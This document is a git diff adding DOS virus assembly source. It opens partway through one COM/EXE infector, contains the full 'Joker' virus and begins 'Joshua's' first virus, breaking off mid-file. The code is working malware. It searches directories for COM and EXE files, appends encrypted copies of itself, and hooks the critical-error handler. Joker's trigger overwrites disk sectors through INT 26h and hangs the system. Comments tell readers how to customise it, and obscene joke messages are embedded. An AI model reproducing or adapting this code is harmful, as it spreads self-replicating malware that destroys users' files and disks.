infect it! + + +; Check if the file is COMMAND.COM + +CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM + jz ANOTHER ; If it is, try another file + +; Now, check for previous infection by checking for our presence at +; the end of the file. + + mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX + cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big + jle ANOTHER ; If so, try another + mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX + add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset + cmp ax,cx ; Compare file size's + jnz INFECT_COM ; If healthy, go infect it + +ANOTHER: mov ah,4fh ; Otherwise find another + jmp short FINDNEXT ; possible victim + +END_SEARCH: retn ; No files found + +;*** Subroutine INFECT_COM *** + +INFECT_COM: + +; Save the first three bytes of the COM file + + lea si,[bp+BUFFER] ; Start of first 3 bytes + lea di,[bp+COM_START] ; Store them here + movsw ; Transfer the 3 bytes + movsb + +; Calculate jump offset for header of victim so it will run virus first. +; AX has the filesize. Store new JMP and OFFSET in the buffer. + + mov cx,3 ; No. bytes to write in header + sub ax,cx ; Filesize - jmp_offset + mov byte ptr [si-3],0e9h ; Store new JMP command + mov word ptr [si-2],ax ; plus offset + add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET + push ax ; Save it for later + jmp DONE_INFECTION ; We're done! + +;*** Subroutine INFECT_EXE *** + +INFECT_EXE: + +; Save original CS:IP and SS:SP. + + les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP + mov word ptr [bp+JMPSAVE],ax ; Store IP + mov word ptr [bp+JMPSAVE+2],es ; Store CS + les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP + mov word ptr [bp+STACKSAVE],es ; Store SP + mov word ptr [bp+STACKSAVE+2],ax ; Store SS + +; Get get the header size in bytes. + + mov ax,word ptr [bp+BUFFER+8] ; Get header size + mov cl,4 ; Convert paragraphs to bytes + shl ax,cl ; Multiply by 16 + xchg ax,bx ; Put header size in BX + +; Get file size. + + les ax,[bp+offset DTA+26] ; Get filesize to + mov dx,es ; DX:AX format + + push ax ; Save filesize + push dx + + sub ax,bx ; Subtract header size + sbb dx,0 ; from filesize + + mov cx,16 ; Convert to SEGMENT:OFFSET + div cx ; form + +; Store new entry point (CS:IP) in header. + + mov word ptr [bp+BUFFER+20],dx; Store IP + mov word ptr [bp+BUFFER+22],ax; Store CS + + add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset + mov bx,dx ; Hold it for now + +; Store new stack frame (SS:SP) in header. + + mov word ptr [bp+BUFFER+14],ax; Store SS + mov word ptr [bp+BUFFER+16],ID; Store SP + + pop dx ; Get back filesize + pop ax + + add ax,END_VIRUS-START_VIRUS ; Add virus size + adc dx,0 ; to filesize + + push ax ; Save AX + mov cl,9 ; Divide AX + shr ax,cl ; by 512 + ror dx,cl + stc ; Set carry flag + adc dx,ax ; Add with carry + pop ax ; Get back AX + and ah,1 ; Mod 512 + +; Store new filesize in header. + + mov word ptr [bp+BUFFER+4],dx ; Store new filesize + mov word ptr [bp+BUFFER+2],ax + + push cs ; Restore ES + pop es + mov cx,24 ; No. bytes to write in header + + push bx ; Save START_VIRUS offset + +; Write virus to victim and restore the file's original timestamp, datestamp, +; and attributes. These values were stored in the DTA by the +; Findfirst / Findnext services. + +DONE_INFECTION: + push cx ; Save no. bytes to write + xor cx,cx ; Clear attributes + call SET_ATTR ; Set attributes + + mov al,2 ; DOS open file for read/write + call OPEN ; Open the file + +; Write the new header at the beginning of the file. + + mov ah,40h ; DOS write to file + pop cx ; Number of bytes to write + lea dx,[bp+BUFFER] ; Point to the bytes to write + int 21h ; Call DOS to do it + +; Move to end of file. + + mov ax,4202h ; DOS set read/write pointer + xor cx,cx ; Set offset move to zero + cwd ; Equivalent to xor dx,dx + int 21h ; Call DOS to do it + +; Append virus to end of file. + + mov ah,2ch ; DOS get time + int 21h ; Call DOS to do it + mov [bp+KEY],dx ; Save sec + 1/100 sec + ; as the new KEY + + lea di,[bp+APPEND] ; to the heap + mov cx,START_VIRUS-DECRYPT ; Number of bytes to move + mov al,53h ; Push BX and store it + stosb ; in the append routine + lea si,[bp+DECRYPT] ; Move Crypt routines + push si ; Save SI + push cx ; Save CX + rep movsb ; Transfer the data + + lea si,[bp+WRITE_START] ; Now copy the write + mov cx,WRITE_END-WRITE_START ; routine to the heap + rep movsb ; Transfer the data + + pop cx ; Get back + pop si ; CX and SI + rep movsb ; Recopy Crypt routine + + mov ax,0c35bh ; Tack a POP BX and + stosw ; RETN on the end + + pop ax ; New START_VIRUS offset + mov word ptr [bp+DECRYPT+1],ax; Store new offset + + call APPEND ; Write the file + +; Restore original creation date and time. + + mov ax,5701h ; DOS set file date & time + mov cx,word ptr [bp+DTA+22] ; Set time + mov dx,word ptr [bp+DTA+24] ; Set date + int 21h ; Call DOS to do it + +; Close the file. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + +; Restore original file attributes. + + mov cx,word ptr [bp+DTA+21] ; Get original file attribute + call SET_ATTR ; Set attribute + + pop bx ; Take CALL off stack + + +; ****** B O M B S E C T I O N ****** + +; Check to see if the virus is ready to activate. +; Put all activation tests and bombs here. + +CONDITIONS: ; mov ah,2ah ; DOS get date + ; int 21h ; Call DOS to do it + ; cmp dx,1001h ; Check for Oct 1st + ; jl BOMB_DONE ; Not time yet + ; mov ah,2ch ; DOS get time + ; int 21h ; Call DOS to do it + ; cmp cl,25h ; Check for 25 min past + ; jl BOMB_DONE ; Not time yet + +BOMB: mov ah,3h ; BIOS find cursor position + mov bh,0 ; Video page 0 + int 10h ; Call BIOS to do it + push dx ; Save original Row and Column + mov cx,6 ; Number of lines to print + lea si,[bp+VERSE] ; Location of VERSE + mov dx,080ah ; Row and Column of output +PRINTLOOP: mov ah,2h ; BIOS set cursor + int 10h ; Set cursor + push dx ; Save Row and Column + mov ah,9h ; DOS print string + mov dx,si ; Location of VERSE + int 21h ; Call DOS to print it + pop dx ; Get Row and Column + inc dh ; Increment Row + add si,54 ; Go to next line of VERSE + loop PRINTLOOP ; Print all lines + + mov ah,00h ; Read character from keybd + int 16h + + pop dx ; Get original Row Column + mov ah,2h ; BIOS set cursor + int 10h ; Call BIOS to do it + +BOMB_DONE: jmp QUIT ; Go back to host program + +VERSE: db 'ķ$' + db ' Guess what ??? $' + db ' You have been victimized by a virus!!! Do not $' + db ' try to reboot your computer or even turn it $' + db ' off. You might as well read this and weep! $' + db 'Ľ',7,7,'$' + +; Write routine to append the virus to the end of the file. + +WRITE_START: + pop bx ; Get back file handle + push bx ; Save it again + mov ah,40h ; DOS write to file + mov cx,END_VIRUS-DECRYPT ; Length of virus + lea dx,[bp+DECRYPT] ; Start from beginning of virus + int 21h ; Call DOS to do it +WRITE_END: + + +; New INT 24h handler. + +NEWINT24: mov al,3 ; Fail call + iret ; Return + + +;*** Subroutine OPEN *** +; Open a file. Takes AL as parameter. + +OPEN proc near + mov ah,3dh ; DOS open file, read/write + lea dx,[bp+DTA+30] ; Point to filename we found + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + retn ; Return +OPEN endp + +;*** Subroutine SET_ATTR *** +; Takes CX as a parameter + +SET_ATTR proc near + mov ax,4301h ; DOS change file attr + lea dx,[bp+DTA+30] ; Point to file name + int 21h ; Call DOS + retn ; Return +SET_ATTR endp + + +; This area will hold all variables to be encrypted + +COM_MASK db '*.com',0 ; COM file mask +EXE_MASK db '*.exe',0 ; EXE file mask +DOTDOT db '..',0 ; Go up one directory +COM_START db 0cdh,20h,0 ; Header for infected file +BACKSLASH db '\' ; Backslash for directory + +START endp + +END_VIRUS equ $ ; Mark end of virus code + +; This data area is a scratch area and is not included in virus code. + +ORIG_DIR db 64 dup(?) ; Holds original directory + +OLDINT24 dd ? ; Storage for old INT 24 vector + +BUFFER db 24 dup(?) ; Read buffer and EXE header + +DTA db 43 dup(?) ; New DTA location + +APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?) + +ENDHEAP: + + end MAIN diff --git a/j/JOKER.ASM b/j/JOKER.ASM new file mode 100755 index 0000000..54bb6b0 --- /dev/null +++ b/j/JOKER.ASM @@ -0,0 +1,541 @@ + title " Joker! virus. Written by The BOOT SECTOR Infector ... " +; +; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original +; had multiple programming errors in it that kept it from replicating. +; My version is much more successful. +; + + + page 255,80 +code segment word public 'code' + assume cs:code,ds:code + org 100h +main proc;edure + + +;EQUates... + idc equ 69h ;ID character - (note: 69) + cr equ 13 ;ASCII for carriage return + lf equ 10 ;ASCII for line feed + +;End codes. These determine what happens after the string is displayed. + + terminate equ 0 ;Terminate program after display + halt equ 1 ;Cause the system to hang after display + SimulateCritErr equ 2 ;Simulate the critical error handler + return2host equ 3 ;Resume program immediately + FlashFloppy equ 4 ;Wait for a key, then reset Drive A: + WaitKey equ 5 ;Wait for a key, then resume program + PauseKey equ 6 ;Same thing, but uses a pause message + StackError equ 7 ;Cause a stack overflow (halts system) + + + +tof: ;Top-Of-File + jmp begin ;Skip over program +idchar: db idc ;ID character + +HostProgram: nop ;First run copy only! + nop ;First run copy only! + +first_four: nop ;First run copy only! +address: int 20h ;First run copy only! +check: nop ;First run copy only! + +begin: call nextline ;Push IP+3 onto stack +nextline: pop bp ;mov bp,ip + sub bp,offset nextline ;bp=disp. for mem locs + + push ax ;Save AX + call cryptor ;Decrypt + jmp short retloc ;Continue program + +cryptor: mov al,[bp+offset encrypt_val] ;encrypt val + lea si,[bp+offset toec] ;Top Of Encrypted Code + mov cx,offset eoec-offset toec ;Length of " " +cryptorloop: xor [si],al ;en/de crypt + rol al,cl ;change code # + inc si ;Next char please! + loop cryptorloop ;loop if necessary + ret ;Return to caller + +infect: call cryptor ;Encrypt code + pop cx ;Restore CX for INT 21 + int 21h ;Call DOS + call cryptor ;Decrypt code + ret ;Go back + +toec:;Top Of Encrypted Code +InfectIt: push cx ;Save CX for sub + jmp infect + +retloc: pop ax ;Restore AX + xor di,di ;DI = 0 + + cli ;Disable interrupts + mov ss,di ;Set up stack at: + mov sp,2F0h ; 0000:02F0 + sti ;Enable interrupts + + mov si,96h ;Vector for INT 24h + mov bx,ss:[si] ;BX = offset in segment + mov cx,ss:[si+2] ;CX = segment + lea dx,[bp+offset int24handler] ;CS:DX -} local handler + mov ss:[si],DX ;Save offset + mov ss:[si+2],cs ;Save segment + mov si,es:[di+2F8h] ;Check operation mode + cmp si,4643h ;'CF' if already TSRed + jne GoOn ;Nope, jmp + jmp return ;Yes, don't do anything + +GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP + mov cs:[di+4Eh],cx ; to save BX and CX + push cs ;Copy CS ... + pop es ; ... to DS + + mov byte ptr [bp+offset infected],0 ;Reset infection count + mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less + +GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes + mov di,offset tof ;TOF never changes + cld ;Read left-to-right + movsw ;Copy the 4 bytes + movsw ;Copy the 4 bytes + + mov ah,1Ah ;Set DTA address ... + lea dx,[bp+offset DTA] ; ... to *our* DTA + int 21h ;Call DOS to set DTA + + mov ah,4Eh ;Find First ASCIIZ + lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 + lea si,[bp+offset filename] ;Point to file + push dx ;Save DX + jmp short continue ;Continue... + +return: mov ah,1ah ;Set DTA address ... + mov dx,80h ; ... to default DTA + int 21h ;Call DOS to set DTA + xor di,di ;DI= 0 + mov es,di ;ES= 0 + mov si,96h ;Vector for INT 24h + mov bx, cs:[di+4Ch] ;Restore from saved BX + mov word ptr es:[si+0], bx ;Place back into vector + mov cx, cs:[di+4Eh] ;Restore from saved CX + mov word ptr es:[si+2], cx ;Place back into vector + push cs ;Move CS ... + pop es ; ... to ES + + mov ax,[bp+offset SavedAX] ;Restore AX + xor bx,bx ;BX= 0 + mov cx,bx ;CX= 0 + mov dx,cx ;DX= 0 + mov si,dx ;SI= 0 + mov di,si ;DI= 0 + mov sp,0FFFEh ;SP= FFFEh (normal) + mov bp,100h ;BP= 100h (RETurn addr) + push bp ; Put on stack + mov bp,ax ;BP= 0 + ret ;JMP to 100h + +nextfile: or bx,bx ;Did we open the file? + jz skipclose ;No, so don't close it + mov ah,3Eh ;Close file + int 21h ;Call DOS to close it + xor bx,bx ;Set BX back to 0 +skipclose: mov ah,4Fh ;Find Next ASCIIZ + +continue: pop dx ;Restore DX + push dx ;Re-save DX + xor cx,cx ;CX= 0 + xor bx,bx + int 21h ;Find First/Next + jnc skipjmp + jmp NoneLeft ;Out of files + +skipjmp: mov ax,3D02h ;open file + mov dx,si ;point to filespec + int 21h ;Call DOS to open file + jc nextfile ;Next file if error + + mov bx,ax ;get the handle + mov ah,3Fh ;Read from file + mov cx,4 ;Read 4 bytes + lea dx,[bp+offset first_four] ;Read in the first 4 + int 21h ;Call DOS to read + + cmp byte ptr [bp+offset check],idc ;Already infected? + je nextfile ;Yep, try again ... +;NOTE: Delete the two lines above if you want it to re-infected programs. + + cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? + je nextfile ;Yep, maybe next time! + + mov ax,4202h ;LSeek to EOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + cmp ah,0F8h ;Longer than 62K? + ja nextfile ;Yep, try again... + mov [bp+offset addr],ax ;Save call location + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;Point to buffer + int 21h ;Save the first 4 bytes + + mov ah,[bp+offset encrypt_val] ;Get code number + inc ah ;add 1 + adc ah,0 ;increment if it's zero + mov [bp+offset encrypt_val],ah ;Save new code number + + mov ah,40h ;Write to file + mov cx,offset eof-offset begin ;Length of target code + lea dx,[bp+offset begin] ;Point to virus start + call InfectIt ;Exempt from encryption +ComeBackHere: mov ax,4200h ;LSeek to TOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + mov ax,[bp+offset addr] ;Retrieve location + inc ax ;Adjust location + + mov [bp+offset address],ax ;address to call + mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. + mov byte ptr [bp+offset check],idc ;EOFMARK + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;4 bytes are at [DX] + int 21h ;Write to file + + inc byte ptr [bp+offset infected] ;increment counter + dec byte ptr [bp+offset max2kill] ;decrement counter + jz TheEnd ;If 0 then End + + inc byte ptr [bp+offset encrypt_val] ;change code # + adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0 + jmp nextfile ;Next victim! + +NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected? + jae TheEnd ;The party's over! + + mov di,100h ;DI= 100h + cmp word ptr [di],20CDh ;an INT 20h? + je TheEnd ;Don't go to prev. dir. + + lea dx,[bp+offset prevdir] ;'..' + mov ah,3Bh ;Set current directory + int 21h ;CHDIR .. + jc TheEnd ;We're through! + mov ah,4Eh + jmp continue ;Start over in new dir + +TheEnd: xor di,di ;DI= 0 + mov es,di ;ES= 0 + mov ah,2ah ;Get date + int 21h ;Do it + cmp dl,4 ;4th of the month? + jne test2 ;Nope, second test + cmp dh,7 ;July? + jne test2 ;Nope, second test + xor ax,ax ;Sector 0 + jmp Kill ;Kill the disk now... + +test2: mov ah,2ch ;Get time + int 21h ;Do it + or cl,cl ;On the hour? (x:00 xM) + jnz GiveUp ;Return to program + cmp ch,6 ;Midnight to 5 AM ??? + jnl GiveUp ;Return to program + add cl,ch ;Add first number + mov ax,cx ;Transfer to AX + cbw ;Zero out AH + add al,dh ;Add DL to AL + adc al,dl ;Add DL and carry flag + adc ah,0 ;Add carry to AH + or ax,ax ;AX = 0 ??? + jnz Kill ;Kill the disk now... + inc ax ;Well, adjust first... + +Kill: mov dx,ax ;Sector number + mov cx,1 ;One at a time.... + xor bx,bx ;Point at PSP + mov ah,19h ;Get current disk + int 21h ;Call DOS to ^ + int 26h ;Now kill the disk + +GiveUp: mov bx,offset message_table ;point to table + + mov ah,2ch ;Get time + int 21h ;Call DOS to ^ + inc dh ;(0-59) + +timeloop: cmp dh,msgs ;mapped yet? + jl timedone ;Yes, jump + sub dh,msgs ;try to map it + jmp short timeloop ;and check out work + +timedone: mov al,dh ;AL gets msg # + mov cl,al ;Save in CL for CritErr + cbw ;AH gets 0 + shl ax,1 ;AX = AX * 2 + add bx,ax ;BX = index + mov si,[bx] ;SI points to string + mov ch,[si-1] ;CH is technique # + mov dx,si ;DX points to string + + mov ah,9 ;Display string + int 21h ;Call DOS to ^ + + cmp ch,terminate ;Terminate program? + je TerminateProg ;Nope, next test + + cmp ch,halt ;Halt program? + je $ ;Hang system if ch=halt + + cmp ch,SimulateCritErr ;Simulate CritErr? + je simulate ;yes, go do it + + cmp ch,Return2host ;Return to host? + je ResumeProgram ;yes, go do it + + cmp ch,FlashFloppy ;Flash drive A:? + je FlashFlop ;Yes, go do it + + cmp ch,WaitKey ;Wait for keypress? + je zwait ;Yes, go do it + + cmp ch,PauseKey ;Pause message w/ wait? + je zpause ;Yes, go do it + + cmp ch,StackError ;Stack overflow? + je StackErr ;Yes, go do it + + ;Invalid code, assume Return2host + +ResumeProgram: jmp return ;Return to caller +StackErr: call $ ;Cause stack overflow +TerminateProg: int 20h ;Yep, all done! + +simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ... + mov ah,9 ;Print string + int 21h ;Call DOS to ^ + + mov ah,1 ;Input a char + int 21h ;Call DOS to ^ + + lea dx,[bp+offset crlf] ;crlf + mov ah,9 ;Print string + int 21h ;Call DOS to ^ + + cmp al,'a' ;Uppercase? + jb uppercase ;Nope, jump + sub al,' ' ;Yes, make uppercase + +uppercase: cmp al,'A' ;Abort? + je terminateprog ;Yep, go do it. + + cmp al,'R' ;Retry? + jne zskip ;skip over "retry" code + + lea dx,[bp+offset crlf] ;Point to crlf + mov ah,9 ;Print string + int 21h ;Call DOS to ^ + mov dh,cl ;Restore DH from CL + jmp timedone ;Reprint error + +zskip: cmp al,'I' ;Ignore? + je ResumeProgram ;Return to host program + cmp al,'F' ;Fail? + jne simulate ;Invalid response + + lea dx,[bp+offset fail24] ;Point to fail string + mov ah,9 ;Print string + int 21h ;Call DOS to ^ + int 20h ;Terminate program + +FlashFlop: mov ah,1 ;Wait for keypress + int 21h ;Call DOS to ^ + + xor ax,ax ;Drive A: + mov cx,1 ;Read 1 sector + mov dx,ax ;Start at boot sector + lea bx,[bp+offset boot_sector] ;BX points to buffer + int 25h ;Flash light on A: + jmp short ResumeProgram ;Resume if no error + +zpause: lea dx,[bp+offset pause] ;Point to pause message + mov ah,9 ;Print string + int 21h ;Call DOS to ^ +zwait: + mov ah,1 ;Wait for keypress + int 21h ;Call DOS to ^ + jmp short ResumeProgram ;Go on... + + + + + +ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$' +fail24 db cr,lf,cr,lf,'Fail on INT 24' +crlf db cr,lf,'$' + +message_table: + dw offset msg1 + dw offset msg2 + dw offset msg3 + dw offset msg4 + dw offset msg5 + dw offset msg6 + dw offset msg7 + dw offset msg8 + dw offset msg9 + dw offset msg10 + dw offset msg11 + dw offset msg12 + dw offset msg13 + dw offset msg14 + dw offset msg15 + dw offset msg16 + dw offset msg17 + dw offset msg18 + dw offset msg19 + dw offset msg20 + +msgs db 20 + +; I tried to make it as simple as possible to change the messages +; and add/delete them. Each message is in the format: +; +; db [technique] +;[label] db [Text] +; +; Where [technique] is one of the 8 codes shown at the beginning of +; this file (terminate, halt, etc.). This determines what the virus +; should do after printing the message. +; [label] is in the form "msg##" where ## is a number from 1 to +; "msgs". "msgs" is defined immediately before this +; comment block. +; [text] is a combination of text and ASCII codes, terminated by +; either a '$' or a ,36. +; +; If you change the number of messages the virus has, you should also +; add/remove lines from the offset table and change the "msgs" +; data byte appropriately. Let's say for instance that you want +; to remove "Program too big to fit in memory.": +; 1) Delete the line(s) with the message and the line +; immediately before it. +; 2) Move message #20 up to message #2's position and +; change its label from "msg20" to "msg2". +; 3) Delete the line "dw offset msg20" from the offset +; table. +; 4) Change the line before this comment block to: +; "msgs db 19" +; +; Later! +; -The BOOT SECTOR Infector ... +; + + db FlashFloppy ;Waits for key, then flashes drive A: +msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf +pause db 'Strike any key when ready... $' + + db SimulateCritErr ;Prints ARIF message and responds appropriately +msg1 db 'Impotence error reading user',39,'s dick$' + + db terminate ;Ends the program immediately +msg2 db 'Program too big to fit in memory',cr,lf,'$' + + db halt ;Halts the system +msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$' + + db terminate ;Ends the program immediately +msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid' + db ' I can',39,'t do that!',cr,lf,'$' + + db WaitKey ;Waits for a keypress, then runs the program +msg6 db 'Format another? (Y/N)? $' + + db StackError ;Generates a stack overflow (halts the system) +msg7 db 'Damn it! I told you not to touch that!$' + + db terminate ;Ends the program immediately +msg8 db 'Suck me!',cr,lf,'$' + + db SimulateCritErr ;Prints ARIF message and responds appropriately +msg9 db 'Cocksucker At Keyboard error reading device CON:$' + + db terminate ;Ends the program immediately +msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf + db 'I',39,'m sorry, but your call cannot be completed as dialed.' + db cr,lf,'Please hang up & try your call again.',cr,lf,'$' + + db terminate ;Ends the program immediately +msg11 db 'No!',cr,lf,cr,lf,'$' + + db halt ;Halts the system +msg12 db 'Panic kernal mode interrupt$' + + db WaitKey ;Waits for a keypress, then runs the program +msg13 db 'CONNECT 1200',cr,lf,cr,lf,'$' + + db return2host ;Runs host program immediately +msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$' + + db terminate ;Ends the program immediately +msg15 db 'And if I refuse?',cr,lf,'$' + + db return2host ;Runs host program immediately +msg16 db 'Fuck the world and its followers!',cr,lf,'$' + + db return2host ;Runs host program immediately +msg17 db 'You are pathetic, man... you know that?',cr,lf,'$' + + db terminate ;Ends the program immediately +msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$' + + db terminate ;Ends the program immediately +msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$' + + db PauseKey ;Waits for keypress (SAKWR), then runs host prg +msg20 db 'Joker! ver by TBSI!',cr,lf + db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$' + +int24handler: xor al,al ;Ignore the error + iret ;Interrupt return + + +filespec: db '*.COM',0 ;File specification +prevdir: db '..',0 ;previous directory +max2kill db 3 ;max. files to infect + +eoec:;End Of Encrypted Code +VersionNumber dw 100h ;Version 1.00 +encrypt_val db 0 ;1st-run copy only + +; None of this information is included in the virus's code. It is only used +; during the search/infect routines and it is not necessary to preserve it +; in between calls to them. + +eof: +DTA: + + db 21 dup (?) ;internal search's data +attribute db ? ;attribute +file_time db 2 dup (?) ;file's time stamp +file_date db 2 dup (?) ;file's date stamp +file_size db 4 dup (?) ;file's size +filename db 13 dup (?) ;filename + +SavedAX dw ? ;Used to save AX +infected db ? ;infection count +addr dw ? ;Address + +boot_sector: + + main endp;rocedure + code ends;egment + + end main \ No newline at end of file diff --git a/j/JOSHUA.ASM b/j/JOSHUA.ASM new file mode 100755 index 0000000..282fbde --- /dev/null +++ b/j/JOSHUA.ASM @@ -0,0 +1,484 @@ +;****************************************************************** +;* * +;* My First Virus, a simple non-overwriting COM and EXE * +;* infector. * +;* by, Joshua * +;* * +;****************************************************************** + +ID = 'SS' ; My ID + + .model tiny ; Memory model + .code ; Start Code + org 100h ; Start of COM file + +MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS + +START proc near + +DECRYPT: mov bx,offset START_VIRUS ; Find out our offset + mov cx,(END_VIRUS-START_VIRUS)/2 +DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx +KEY dw 0 ; Crypt KEY + add bx,2 ; Increment offset + dec cx ; Decrement counter + jnz DECRYPT_LOOP ; Continue until done + +START_VIRUS: + call FIND_OFFSET ; Real start of virus + +; Calculate change in offset from host program. + +FIND_OFFSET: pop bp ; BP holds current IP + sub bp, offset FIND_OFFSET ; Calculate net change + ; Change BP to start of + ; virus code + +; Capture INT 24h Critical error handler. + + push es ; Save ES + mov ax,3524h ; DOS get interupt vector + int 21h ; Call DOS to do it + mov word ptr [bp+OLDINT24],bx ; Save old INT 24h + mov word ptr [bp+OLDINT24+2],es ; vector + mov ah,25h ; DOS set interupt vector + lea dx,[bp+NEWINT24] ; Address of new interupt + int 21h ; Call DOS to do it + pop es ; Restore ES + +; Find out what kind of program I am, COM or EXE, by checking stack pointer. +; This is where I store my ID in an EXE infection. + + cmp sp,ID ; COM or EXE? + je RESTORE_EXE ; I am an EXE file + +; Restore original bytes to the COM program. + +RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes + mov di,100h ; to 100h, start of file + push di ; Jmp to 100h when done + movsw ; Copy 3 bytes + movsb + jmp short RESTORE_DONE + +; Restore original bytes to the EXE program. + +RESTORE_EXE: push ds ; Save original DS + push es ; Save original ES + push cs ; Set DS = CS + pop ds + push cs ; Set ES = CS + pop es + lea si,[bp+JMPSAVE] ; Copy original CS:IP and + lea di,[bp+JMPSAVE2] ; SS:SP for return + movsw ; Copy 8 bytes + movsw + movsw + movsw + +; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy +; original command line parameters. + +RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area + mov ah,1ah ; DOS set DTA + int 21h ; Call DOS to do it + +; Save original directory. + + mov ah,47h ; DOS get current directory + lea si,[bp+ORIG_DIR] ; Store it here + mov dl,0 ; Current drive + int 21h ; Call DOS to do it + +; Search for a file to infect. + +SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file + call FINDFIRST ; Begin search + lea dx,[bp+COM_MASK] ; Search for any COM file + call FINDFIRST ; Begin search + + mov ah,3bh ; DOS change directory + lea dx,[bp+DOTDOT] ; Go up one direcotry + int 21h ; Call DOS to do it + jnc SEARCH ; Go look for more files + +; Restore default DTA, original directory, and pass control back to +; original program. + +QUIT: mov ah,3bh ; DOS change directory + lea dx,[bp+ORIG_DIR-1] ; Point to original directory + int 21h ; Call DOS to do it + push ds ; Save DS + mov ax,2524h ; DOS set interupt vector + lds dx,[bp+OLDINT24] ; Restore INT 24h + int 21h ; Call DOS to do it + pop ds ; Restore DS + mov ah,1ah ; DOS set DTA + mov dx,80h ; Restore original DTA + cmp sp,ID-4 ; EXE or COM? ES,DS on stack + jz QUIT_EXE ; Pass control to host EXE + +QUIT_COM: int 21h ; Call DOS to set DTA + retn ; Remember, 100h was on stack + +QUIT_EXE: pop es ; Restore original ES + pop ds ; Restore original DS + int 21h ; Call DOS to set DTA + mov ax,es ; AX = begin of PSP segment + add ax,16 ; Add size of PSP to get CS + add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP + add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS + cli ; Clear interrupts + mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP + mov ss,ax ; Restore SS + sti ; Set interrupts + db 0eah ; Jump SSSS:OOOO + +JMPSAVE2 dd ? ; CS:IP for EXE return +STACKSAVE2 dd ? ; SS:SP for EXE return +JMPSAVE dd ? ; Original EXE CS:IP +STACKSAVE dd ? ; Original EXE SS:SP + +CREATOR db '[Joshua]' ; That's me! + +; DOS Findfirst / Findnext services + +FINDFIRST: mov ah,4eh ; DOS find first service + mov cx,7 ; Choose files w/ any attribute +FINDNEXT: int 21h ; Call DOS to do it + jc END_SEARCH ; Quit if there are errors + ; or no more files + +; Ok, if I am here, then I found a possible victim. First open the file +; for read only. + + mov al,0 ; DOS Open file, read only + call OPEN ; Open the file + +; Read in the beginning bytes to check for previous infection and then close. + + mov ah,3fh ; DOS Read file + lea dx,[bp+BUFFER] ; Save the original header + mov cx,24 ; Read 24 bytes + int 21h ; Call DOS to do it + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + +; Check if the file is an EXE. + +CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE? + jne CHECK_COM ; Nope, see if it's a COM + cmp word ptr [bp+BUFFER+16],ID; Is it already infected? + je ANOTHER ; Yep, so try another + jmp short INFECT_EXE ; We got one! Go infect it! + + +; Check if the file is COMMAND.COM + +CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM + jz ANOTHER ; If it is, try another file + +; Now, check for previous infection by checking for our presence at +; the end of the file. + + mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX + cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big + jle ANOTHER ; If so, try another + mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX + add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset + cmp ax,cx ; Compare file size's + jnz INFECT_COM ; If healthy, go infect it + +ANOTHER: mov ah,4fh ; Otherwise find another + jmp short FINDNEXT ; possible victim + +END_SEARCH: retn ; No files found + +;*** Subroutine INFECT_COM *** + +INFECT_COM: + +; Save the first three bytes of the COM file + + lea si,[bp+BUFFER] ; Start of first 3 bytes + lea di,[bp+COM_START] ; Store them here + movsw ; Transfer the 3 bytes + movsb + +; Calculate jump offset for header of victim so it will run virus first. +; AX has the filesize. Store new JMP and OFFSET in the buffer. + + mov cx,3 ; No. bytes to write in header + sub ax,cx ; Filesize - jmp_offset + mov byte ptr [si-3],0e9h ; Store new JMP command + mov word ptr [si-2],ax ; plus offset + add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET + push ax ; Save it for later + jmp DONE_INFECTION ; We're done! + +;*** Subroutine 